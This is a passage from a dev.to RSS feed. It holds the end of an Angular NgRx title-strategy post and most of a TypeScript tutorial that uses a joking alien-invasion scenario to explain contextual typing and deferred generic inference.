  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;In the app module, we can utilize the new title strategy in the &lt;code&gt;providers&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;NgModule&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;declarations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;AppComponent&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;providers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;
    &lt;span class="na"&gt;provide&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;TitleStrategy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;useClass&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NgRxTitleStrategy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;}],&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="cm"&gt;/* ... */&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;bootstrap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;AppComponent&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;AppModule&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Full implementation
&lt;/h2&gt;

&lt;p&gt;See the gist below for the full implementation.&lt;/p&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



</description>
      <category>angular</category>
      <category>ngrx</category>
    </item>
    <item>
      <title>WEIRD TS TYPES 🛸: Using Contextual Typing and Deferred Inference to Plan an Alien Conquest</title>
      <dc:creator>David</dc:creator>
      <pubDate>Wed, 01 Dec 2021 23:42:21 +0000</pubDate>
      <link>https://dev.to/davidshortman/weird-ts-types-using-contextual-typing-and-deferred-inference-to-plan-an-alien-conquest-bm8</link>
      <guid>https://dev.to/davidshortman/weird-ts-types-using-contextual-typing-and-deferred-inference-to-plan-an-alien-conquest-bm8</guid>
      <description>&lt;p&gt;&lt;em&gt;This post is accompanied by a Typescript playground found &lt;a href="https://www.typescriptlang.org/play?#code/C4TwDgpgBAShDOECGAnAxgCwCqoOYWCgF4oBvAKCigG0UFl0MBlAVwCMArCNYALinjAUASwB2uALr8AgihRIQAHkEjxAPgDc5AL5byoSFAAKEFPAD2o4lABEgPg3Ai7s2tB6AGFzAd2s3AvBuA6Hed9cHdzFFEAMWEIABsAEx9AHg3AXn2UlJsoAB9bFMAB4nS9V1gWeRisLysSCipIczAYiBk5BUUTM0tNSig0L3gm+SUPT06qHvCo2Li+qFkBxQ9x6PjO3XJyHtFBAQBbJBiYgDdhfcbi0vLPSrIu2vrT6nsnABpbRxsJJ66ez2mHgJsXn5AoD-h8vmFIkspvwHmlUskATl4ekwatgoYAKIAD0gcWEwGEljcGCQ4ggEVEiiwUAgWOAEFEU1g9FQmBwKHwwDU1gAFMAKvwsABKYjcrB6NAxJDweDMxCs5gYYRgKk0ukMplweWMdmc7nVKBgdgxYRobqWOIsHjY3H4wmbHkAOmdtNtBMs01mLRtEDx7tExNJ+ApVLUaiF-ANVEs-D5AqgwtFCa0VG01yoVDowBKVijGZjUDjlxFRDUXQzGddvrtHsddEtaAgPJ5SAAZvSUD6-fb4C8q93LC9hCX9eWKxmNls2x2uzWrv25y326ZZ-74EKU+OK5PzA1HTFzLgeQADaTLlBqt32qAAElIwigAGooABGbS8Y8vacrnHV-0bsctyzHMoG-TtfwHURNy3bQXn5YtPgrVZUx0NZJ0IeBdn2C5RC1BhMCYJUwGsUQIG8PCFUI5VFBgEo9hwtQeQA9FoAAOXMABJURW1MUNrGpWl6UZWUxB4i8mCgAB+KAJP4UiDlMPRWxYUQeGvMQOzEiBVUEjVZQonU8AIRiujArjNNMBlG34IxUAJPZFHYrixNDMsIygVd7UDMkQywUdMwIECi1EEd0wzYDwjCitnUdeDREQ8cYrM0QLLoVSIAS1NN1WbQ1mU1T-RpeQ8TQJB6R09VhLlfDsCMrkmP4TyiRJHzKT8sKIqsYLQrzTqoAAeU4bhgEdaV4GEXBRB5QCyFgmaYsGrgeEdABrCAQHgbrHV2MBm3gdgluAUKeVIGh9qGngpBoCQoG0IUhTHACstQ9YPV3CB90PHkbAAIQgVswmgBc114RFML2Q5jgaZj0J2CGjhOM8ZwgudZRIcHsIqAyCKIrpHQ2BtgCah0xw00wtJO81FkmX4bDhdJATyFFbqFTKoDJlAKdO75fhuu62Y5rnDQgOoGhhR53hZtnTCQEqyqbB6qEVqBHUsHkMchk4AKAA" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Typescript has a powerful inference system which automatically assigns types to variables and function parameters when they are not explicitly provided. The behavior of inference is &lt;a href="https://www.typescriptlang.org/docs/handbook/type-inference.html" rel="noopener noreferrer"&gt;thoroughly documented in the Typescript Handbook&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Inference is helpful, but there are some cases (like writing generic functions) where the order of inference needs to be controlled.&lt;/p&gt;

&lt;p&gt;This was recently exemplified by &lt;a href="https://github.com/ngxs/store/discussions/1805" rel="noopener noreferrer"&gt;an RFC in the state library NGXS&lt;/a&gt;. In short, one of the functions published by the library was improperly typed because the type of its first argument was intended to be inferred from its contextually expected return type. &lt;/p&gt;

&lt;p&gt;Instead of explaining the RFC directly, however, I wanted to have some fun and explain it through ALIENS instead 👽.&lt;/p&gt;

&lt;p&gt;Let's look at how contextually inferred, deferred types can help a &lt;del&gt;state management&lt;/del&gt; alien invasion library...&lt;/p&gt;




&lt;h3&gt;
  
  
  Invasion Overview
&lt;/h3&gt;

&lt;p&gt;Let's say our alien overlords want us to plan an invasion of Smallville, a rural town in the US.&lt;/p&gt;

&lt;p&gt;Smallville is like many small towns, so we'll create types that describe it in general terms.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Person&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;🧑&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Cow&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;🐮&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// regular field or field with a crop circle 👇&lt;/span&gt;
&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;CornField&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;🌽🌽🌽&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;🌽⏀🌽&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;RuralTown&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;people&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Person&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;cows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Cow&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;cornFields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;CornField&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;smallville&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;RuralTown&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;people&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🧑&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🧑&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;cows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🐮&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🐮&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🐮&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;cornFields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🌽🌽🌽&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🌽🌽🌽&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To conduct research, our alien scientists have created many research vessels equipped to serve specific missions. These spacecraft all study different &lt;code&gt;ResearchTarget&lt;/code&gt;s.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;ResearchTarget&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="na"&gt;researchSubject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;smallville&lt;/code&gt;, being a &lt;code&gt;RuralTown&lt;/code&gt;, is a &lt;code&gt;ResearchTarget&lt;/code&gt; since it has the same shape.&lt;/p&gt;

&lt;p&gt;Our spaceship, a &lt;code&gt;ruralTownResearchShip&lt;/code&gt;, can research and interfere with any town that is like a &lt;code&gt;RuralTown&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;smallTownResearchShip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;ResearchShip&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;RuralTown&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It interacts with the town through expeditions. Each time an expedition is conducted, the town may be changed in some way. The changes to the town are evaluated using an &lt;code&gt;ExpeditionChangeFn&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;ExpeditionChangeFn&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;ResearchTarget&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;town&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ResearchShip&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;ResearchTarget&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Expeditions are executed and the resulting state of the town is returned&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;conductExpeditions&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="na"&gt;expeditions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ExpeditionChangeFn&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="na"&gt;town&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/*...*/&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our alien leaders have created a standard pattern for interacting with research targets by creating functions that produce &lt;code&gt;ExpeditionChangeFn&lt;/code&gt;s. These generalized methods allow alien developers to apply the same expedition methodologies across their various spacecraft, drones, and VR technologies.&lt;/p&gt;

&lt;p&gt;Our invasion plan will employ two of these methods using our spacecraft- &lt;code&gt;interfere&lt;/code&gt; and &lt;code&gt;eradicate&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;interfere&lt;/code&gt;-ing causes us to produce a new state of how the town looks after we interact. We can provide a partial update of which features of the town changed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;ResearchTarget&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;afterInterference&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Partial&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;ExpeditionChangeFn&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/*...*/&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For instance, if there were two corn fields previously in the town (&lt;code&gt;['🌽🌽🌽', '🌽🌽🌽']&lt;/code&gt;), and we plan to draw a crop circle in one of them, we would provide that change as &lt;code&gt;interfere({ cornFields: ['🌽🌽🌽', '🌽⏀🌽'] })&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;eradicate&lt;/code&gt;-ion, meanwhile, removes all elements across all features of the town.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;eradicate&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="nx"&gt;ExpeditionChangeFn&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/*...*/&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Eradication requires no configuration, so we can create an eradication plan with no arguments using &lt;code&gt;eradicate()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Invasion Blueprint
&lt;/h2&gt;

&lt;p&gt;Our invasion will be conducted in four stages. First, we will do three rounds of expeditions, and then conclude by preparing the town for our settlement.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;smallTownResearchShip&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;conductExpeditions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="c1"&gt;// 1️⃣, we'll make a crop circle in a corn field&lt;/span&gt;
    &lt;span class="c1"&gt;// to see how the populace reacts 👇&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cornFields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🌽🌽🌽&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🌽⏀🌽&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="c1"&gt;// 2️⃣, we'll take all the cows for wildlife research 👇&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="c1"&gt;// 3️⃣, we'll abduct a human to analyze their weaknesses 👇&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;people&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🧑&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="c1"&gt;// Finally, we'll eradicate everything for our colonization! 👇&lt;/span&gt;
    &lt;span class="nf"&gt;eradicate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just as we've finished writing our invasion plan, we notice a type error. It looks like &lt;code&gt;interfere&lt;/code&gt; is suffering from the same problem the NGXS team had with their state operators!&lt;/p&gt;

&lt;h3&gt;
  
  
  Fixing Our Invasion Plan's Inferred Types
&lt;/h3&gt;

&lt;p&gt;Typescript outputs the following error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;smallTownResearchShip&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;conductExpeditions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="c1"&gt;//Argument of type 'ExpeditionChangeFn&amp;lt;{ cornFields: ("🌽🌽🌽" | "🌽⏀🌽")[]; }&amp;gt;' is not assignable to parameter of type 'ExpeditionChangeFn&amp;lt;RuralTown&amp;gt;'.&lt;/span&gt;
    &lt;span class="c1"&gt;//  Type '{ cornFields: ("🌽🌽🌽" | "🌽⏀🌽")[]; }' is not assignable to type 'RuralTown'. (2345)&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cornFields&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🌽🌽🌽&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🌽⏀🌽&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;cows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;people&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;🧑&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="nf"&gt;eradicate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This error is telling us that the inferred shape of the research target does not match the expected shape of a &lt;code&gt;RuralTown&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;interfere&lt;/code&gt; function is inferring &lt;code&gt;T&lt;/code&gt; as the shape of its first argument, &lt;code&gt;{ cornFields: ("🌽🌽🌽" | "🌽⏀🌽")[] }&lt;/code&gt;. This object does not match a &lt;code&gt;RuralTown&lt;/code&gt; because it is missing &lt;code&gt;cows&lt;/code&gt; and &lt;code&gt;people&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's look at the signature for &lt;code&gt;interfere&lt;/code&gt; again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;interfere&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;ResearchTarget&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;afterInterference&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Partial&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;ExpeditionChangeFn&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The research target &lt;code&gt;T&lt;/code&gt; will be inferred from the parameter &lt;code&gt;afterInterference&lt;/code&gt;. But that's not helpful for us, because we expect that &lt;code&gt;interfere&lt;/code&gt; will return a &lt;code&gt;ExpeditionChangeFn&lt;/code&gt; for the same research target shape as our spacecraft. And &lt;code&gt;RuralTown&lt;/code&gt; has more properties than just &lt;code&gt;cornFields&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So we have a strange requirement. We want to infer a generic type from context, and we want to infer based on the &lt;em&gt;return type&lt;/em&gt;, not the first parameter.&lt;/p&gt;

&lt;p&gt;This may sound like an impossible task, but Typescript has the ability to infer types based on context, known as &lt;a href="https://www.typescriptlang.org/docs/handbook/type-inference.html#contextual-typing" rel="noopener noreferrer"&gt;Contextual Typing&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In our case, &lt;code&gt;conductExpeditions&lt;/code&gt; is typed to say that its &lt;code&gt;expeditions&lt;/code&gt; argument is an array of &lt;code&gt;ExpeditionChangeFn&lt;/code&gt;s which return &lt;code&gt;T&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

